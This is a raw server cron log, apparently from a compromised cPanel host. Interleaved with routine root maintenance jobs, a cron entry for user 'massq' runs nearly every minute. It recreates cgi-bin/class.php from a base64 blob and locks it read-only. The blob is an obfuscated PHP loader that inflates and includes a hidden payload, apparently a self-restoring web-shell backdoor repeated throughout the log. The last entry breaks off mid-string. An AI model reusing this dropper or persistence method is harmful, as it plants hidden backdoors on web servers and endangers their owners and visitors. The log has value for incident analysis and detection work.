Apr 11 23:43:01 server CROND[26168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:44:01 server CROND[26222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:45:01 server CROND[26382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:45:01 server CROND[26383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:45:01 server CROND[26384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:46:01 server CROND[26493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:47:01 server CROND[26563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:48:01 server CROND[26622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:49:01 server CROND[26698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:50:01 server CROND[26861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:50:01 server CROND[26863]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:50:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:50:01 server CROND[26866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 23:50:01 server CROND[26865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:51:01 server CROND[26990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:52:01 server CROND[27048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:53:01 server CROND[27114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:53:01 server CROND[27115]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr 11 23:54:01 server CROND[27182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:55:01 server CROND[27348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:55:01 server CROND[27349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:55:01 server CROND[27350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:56:01 server CROND[27480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hN